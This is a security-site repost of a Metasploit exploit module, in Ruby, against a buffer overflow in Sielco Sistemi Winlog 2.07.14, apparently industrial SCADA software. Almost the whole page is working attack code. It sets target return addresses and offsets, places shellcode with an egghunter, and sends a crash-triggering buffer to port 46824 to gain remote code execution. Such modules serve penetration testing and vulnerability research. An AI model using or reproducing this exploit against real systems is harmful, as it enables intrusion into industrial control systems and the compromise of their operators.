首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sielco Sistemi Winlog Buffer Overflow 2.07.14
来源:http://www.metasploit.com 作者:m-1-k-3 发布时间:2012-06-11  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'         => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
   'Description'  => %q{
    This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
    When sending a specially formatted packet to the Runtime.exe service on port 46824,
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'm-1-k-3 <m1k3[at]s3cur1ty.de>'
    ],
   'References'     =>
    [
     [ 'BID', '53811'],
     [ 'URL', 'http://www.s3cur1ty.de' ],
     [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x00",
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
      {
       'Ret'    => 0x405153df,
       'Offset' => 167,
      }
     ], #  Jmp ESP - Vclx40.bpl - 0x405153df
     [ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
      {
       'Ret'    => 0x405153df,
       'Offset' => 151,
      }
     ], #  Jmp ESP - Vclx40.bpl - 0x405153df
     #The reliability depends on the actual project. We need to generate some more
     #targets. Two of them for the default project and one other project is now available.
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 04 2012',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(46824)], self.class)
 end

 def exploit
  connect

  egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)

  print_status("Placing the shellcode")
  shellcode = rand_text_alpha(2000)
  shellcode << egg
  sock.put(shellcode)

  select(nil,nil,nil,1)

  buffer = rand_text_alpha(20)
  buffer << "\x14" * 10  #trigger the crash
  buffer << rand_text_alpha(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << egghunter
  buffer << rand_text_alpha(69 - egghunter.length)

  print_status("Trying target #{target.name}...")
  sock.put(buffer)

  handler
  disconnect

 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ComSndFTP Server 1.3.7 Beta Re
·Tom Sawyer Software GET Extens
·Microsoft IIS 6.0 and 7.5 Mult
·Symantec Web Gateway 5.0.2.8 A
·Microsoft IIS MDAC msadcs.dll
·PEamp Null Pointer Dereference
·Microsoft IIS MDAC msadcs.dll
·PEamp (.mp3) Memmory Corruptio
·Samsung NET-i viewer Multiple
·Safari On iOS Denial Of Servic
·Immunity Debugger v1.85 32-bit
·MS12-005 Microsoft Office Clic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved